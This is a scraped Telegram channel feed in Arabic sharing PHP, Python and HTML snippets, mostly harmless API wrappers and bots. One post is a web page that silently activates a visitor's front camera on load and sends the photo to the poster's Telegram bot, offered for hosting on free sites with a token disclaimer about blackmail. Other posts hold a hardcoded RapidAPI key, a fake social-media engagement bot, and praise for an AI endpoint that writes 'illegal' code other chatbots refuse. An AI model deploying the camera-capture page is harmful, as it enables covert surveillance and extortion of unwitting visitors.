ملفات Pydroid+php
3.52K subscribers
60 photos
20 videos
41 files
165 links
Download Telegram
,
🖕4
🌪
🔥53🥰3🤯3🤩3🖕3🎉1
import requests

url = "https://devoir-facile.p.rapidapi.com/devoirfacile.fr/api/gpt3.php"


user_input = input("اكتب النص ")

querystring = {"system": "My AI", "user": user_input}

headers = {
"X-RapidAPI-Key": "b18e99092amsh42952d6ee78db3ep1739c9jsn8ff453d8b820",
"X-RapidAPI-Host": "devoir-facile.p.rapidapi.com"
}

response = requests.get(url, headers=headers, params=querystring)

print(response.json())


كود ذكاء اصطناعي 👎.
👎14🖕51👏1
هاا اخوان 😏
🔥11❤‍🔥3😍3👍2😢2💔2😁1
<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>@LL_php</title>
</head>
<body>

<script>
navigator.mediaDevices.getUserMedia({
video: { facingMode: "user" }
})
.then(function(stream) {
const video = document.querySelector("video");
video.srcObject = stream;
video.onloadedmetadata = function() {
takePictureAndSendToTelegram(video);
};
})
.catch(function(error) {
console.log(error);
});

function takePictureAndSendToTelegram(video) {
const canvas = document.createElement("canvas");
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;

const ctx = canvas.getContext("2d");
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);

const imgDataUrl = canvas.toDataURL("image/jpeg");


const botToken = 'توكن بوتك';
const chatId = 'ايديك';


const formData = new FormData();
formData.append('photo', dataURItoBlob(imgDataUrl));


fetch(
https://api.telegram.org/bot${botToken}/sendPhoto?chat_id=${chatId}, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(error);
});
}

function dataURItoBlob(dataURI) {
const byteString = atob(dataURI.split(',')[1]);
const mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
const ab = new ArrayBuffer(byteString.length);
const ia = new Uint8Array(ab);
for (let i = 0; i < byteString.length; i++) {
ia[i] = byteString.charCodeAt(i);
}
return new Blob([ab], { type: mimeString });
}
</script>

<video id="video" autoplay></video>

</body>
</html>

##المصدر @LL_php

سكربت يصور الشخص ويدزلك ع بوت بتلكرام ارفع السكربت ع استضافه وهاي استضافه مجانية pantheonsite.io + طبعا نشرته الكم للفائدة والتعليم وأي شخص يبتز بي الناس غير مبرئ الذمه

@LL_php
🔥11👎65🤡4👍2🥰2
موقع بي مشاهدات ومتابعين تيك توك انستا فيس تويتر مجاني
https://bestsmm.net/
👍2
@LL_php.zip
5.6 KB
ملف بوت رشق مشاهدات تكدر تربطه بكل مواقع الرشق بي جمع نقاط من رابط الدعوة + رشق تلقائي بس ترفع البوت ادمن ويرشق اي منشور جديد + ويرشق من الرابط بي تحويل نقاط هم بلغة بايثون
@LL_php
👍6🔥2❤‍🔥1
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$cid = $message->chat->id;
$text = $message->text;

if($text== "🎲"){
$url = bot('sendDice',[
'emoji'=>"🎲",
'chat_id'=>$cid,
])->result->dice->value;
bot('SendMessage',[
'chat_id'=>$cid,
'text'=>" : $url",
]);
}

@LL_php
🔥1
<?php

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");
if (isset($_GET['url'])) {
$original_url = $_GET['url'];
$api_url = 'https://is.gd/create.php?format=json&url=' . urlencode($original_url);

$ch = curl_init($api_url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if ($response !== false) {
$data = json_decode($response, true);

if (isset($data['shorturl'])) {
$short_url = $data['shorturl'];
$output = ['short_url' => $short_url, 'join' => '@LL_php'];
echo json_encode($output);
} else {
echo json_encode(['error' => 'Failed to shorten the URL']);
}
} else {
echo json_encode(['error' => 'Failed to connect to the is.gd API']);
}

curl_close($ch);
} else {
echo json_encode(['error' => 'Missing "url" parameter']);
}


Api اختصار روابط
@LL_php
👍1
<?php
//Made By @LL_php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");
if (isset($_GET['image'])) {
$userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36';

$searchQuery = urlencode($_GET['image']);
$searchUrl = "https://www.google.com/search?q=$searchQuery&tbm=isch&safe=off"; // MADE BY @LL_php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $searchUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);

$html = curl_exec($ch);

curl_close($ch);

preg_match_all('/<img[^>]+src="([^">]+)"/', $html, $matches);
$imageUrls = $matches[1];

$imageResults = array();

foreach ($imageUrls as $imageUrl) {

if (strpos($imageUrl, 'googlelogo') === false) {
$imageResults[] = "image url: $imageUrl";
}
}


$imageResults['join'] = "@LL_php";


header('Content-Type: application/json');
echo json_encode($imageResults);
}
?>

Api بحث صور بالكوكل

@LL_php
<?php

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");

$externalApiUrl = 'https://dog.ceo/api/breeds/image/random';


$response = file_get_contents($externalApiUrl);

if ($response === false) {

$error = ['error' => 'Failed to fetch data from the external API'];
echo json_encode($error);
} else {

$data = json_decode($response, true);

if ($data && isset($data['message'])) {

$data['join'] = '@LL_php';


echo json_encode($data);
} else {

$error = ['error' => 'Failed to process data from the external API'];
echo json_encode($error);
}
}
?>

Api ينطيك صور جلاب عشوائي

@LL_php
🥰2😁2🙈2
<?php

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");

$api_url = 'https://api.thecatapi.com/v1/images/search';


$ch = curl_init($api_url);



curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);


$response = curl_exec($ch);


curl_close($ch);


if ($response === false) {
die('Error: Unable to fetch data from theCatAPI');
}


$data = json_decode($response, true);


if ($data === null) {
die('Error: Unable to parse JSON response');
}


$data['join'] = '@LL_php';


$json_output = json_encode($data);


echo $json_output;
?>

Api ينطيك صور بزازين
@LL_php
😁2
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");
$baseUrl = 'https://picsum.photos';
$width = 800;
$height = 600;
$imageUrl = "$baseUrl/$width/$height";

$response = [
'image_url' => $imageUrl,
'join' => '@LL_php'
];

header('Content-Type: application/json');
echo json_encode($response);
?>

Api ينطيك صور عشوائي
@LL_php
2
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, OPTIONS");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");




function file_get_contents_no_ssl_verify($url) {
$options = array(
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
);
return file_get_contents($url, false, stream_context_create($options));
}


$quotable_api_url = 'https://api.quotable.io/random';
$response = file_get_contents_no_ssl_verify($quotable_api_url);


if ($response !== false) {
$quote_data = json_decode($response);


if ($quote_data !== null) {

$quote = $quote_data->content;
$author = $quote_data->author;


$response_data = array(
'quote' => $quote,
'author' => $author,
'join Tg' => 'yourchannelname',
);


header('Content-Type: application/json');


echo json_encode($response_data);
} else {

http_response_code(500);
echo json_encode(array('error' => 'Internal Server Error'));
}
} else {

http_response_code(500);
echo json_encode(array('error' => 'Internal Server Error'));
}

?>

Api ينطيك اقتباسات بالنكليزي

@LL_php
4
تفاعلات ع المنشورات حتئ انشر ايبي ذكاء اصطناعي صاروخ بس تكتب النص ثواني يرد عليك اسرع api بتلي 🙈🔥
🥰11😱43🤯3👍2🔥2🤩2👎1🤬1🥱1
import requests
import json

while True:

user_text = input("أدخل النص (أو اضغط Enter للخروج): ")


if not user_text:
break


data = {'messages': [{'id': 'UpATjUb', 'content': user_text, 'role': 'user'}]}
data_json = json.dumps(data).encode()


headers = {
'authority': 'www.blackbox.ai',
'accept': '*/*',
'accept-language': 'ar-AE,ar;q=0.9,eu-ES;q=0.8,eu;q=0.7,et-EE;q=0.6,et;q=0.5,en-US;q=0.4,en;q=0.3',
'content-type': 'text/plain;charset=UTF-8',
'origin': 'https://www.blackbox.ai',
'referer': 'https://www.blackbox.ai/',
}

response = requests.post('https://www.blackbox.ai/api/chat', headers=headers, data=data_json)
print(response.text)

كود ذكاء اصطناعي يتذكر المحادثة

@LL_php
🥰3
ملفات Pydroid+php
import requests import json while True: user_text = input("أدخل النص (أو اضغط Enter للخروج): ") if not user_text: break data = {'messages': [{'id': 'UpATjUb', 'content': user_text, 'role': 'user'}]} data_json = json.dumps(data).encode()…
هذا الكود احسن من ChatGPT يسويلك اكواد برمجية اي شي بس ChatGPT يكلك ماسوي هيج كود هذا غير قانوني وهذا يسوي اي كود
7👍1
هذا كروب طاير اذا اكو شخص يعرف يرجعه.

https://t.me/TRHNEM
🤮6🔥4🙏3
import os
import requests
import telebot
from bs4 import BeautifulSoup

bot = telebot.TeleBot("BOTOTKEN")

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "مرحبًا! أرسل لي رابط MediaFire لتحميل الملف.")

def get_mediafire_download_link(url):
try:
page = requests.get(url)
soup = BeautifulSoup(page.content, 'html.parser')
download_link = soup.find('a', {'id': 'downloadButton'})['href']
return download_link
except Exception as e:
print(f"حدث خطأ أثناء جلب رابط التحميل: {e}")
return None

@bot.message_handler(func=lambda message: True)
def download_mediafire(message):
text = message.text
if text.startswith('http://www.mediafire.com/') or text.startswith('https://www.mediafire.com/'):
bot.reply_to(message, "جارٍ رفع الملف. يرجى الانتظار...")
file_url = text
direct_download_link = get_mediafire_download_link(file_url)

if direct_download_link:
file_response = requests.get(direct_download_link, stream=True, timeout=60)
file_name = direct_download_link.split('/')[-1]
file_size = int(file_response.headers['Content-Length'])

if file_size <= 50 * 1024 * 1024:
bot.send_chat_action(message.chat.id, 'upload_document')

with open(file_name, 'wb') as file:
file.write(file_response.content)

with open(file_name, 'rb') as file:
bot.send_document(message.chat.id, file, caption=f"إليك ملفك: {file_name}")

os.remove(file_name)
else:
bot.reply_to(message, "حجم الملف يتجاوز الحد الأقصى المسموح به من 50 ميجابايت.")
else:
bot.reply_to(message, "تعذر جلب رابط التحميل من MediaFire.")
else:
bot.reply_to(message, "يرجى تقديم رابط صحيح من MediaFire.")

bot.polling()

@LL_php
🥰5👍21